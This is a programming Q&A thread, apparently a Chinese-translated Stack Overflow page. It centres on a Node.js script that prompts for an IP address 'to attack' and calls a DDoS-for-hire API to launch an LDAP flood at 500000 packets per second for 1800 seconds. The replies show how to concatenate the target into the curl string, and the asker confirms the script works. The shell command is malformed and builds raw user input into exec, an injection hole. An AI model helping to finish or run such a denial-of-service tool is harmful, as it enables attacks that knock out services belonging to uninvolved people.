var readline = require('readline');
var exec = require('child_process').exec,
child;
var rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
rl.question('What is the ip address you wish to attack?', (answer)
=>
{
const concatenation = 'Attacking ' + answer;
child = exec('curl https://api.wifi.rip/v1/attacks/launch \
curl -X POST \
curl -d token="" \
curl -d target= \
curl -d port=80 \
curl -d duration=1800 \
curl -d method="LDAP" \
curl -d pps=500000 \
curl -v');
console.log(concatenation);
child.stdout.pipe(process.stdout);
rl.close();
});
我需要将CLI客户端的“答案”放入curl -d target =。我已经研究了好几个小时,无法弄清楚。
答案 0 :(得分:0)
您是否尝试过字符串连接,因为您只是使用curl命令将字符串传递给exec?
var answer = "the answer";
console.log("This is " + answer); // Prints "This is the answer"
对于您的示例,您可以执行以下操作:
exec('curl https://url.com \
...
curl -d target=' + answer + ' \
curl ...')
答案 1 :(得分:0)
concatenation in js is +, like curl -d target=' + answer + '
感谢大家的帮助。这行得通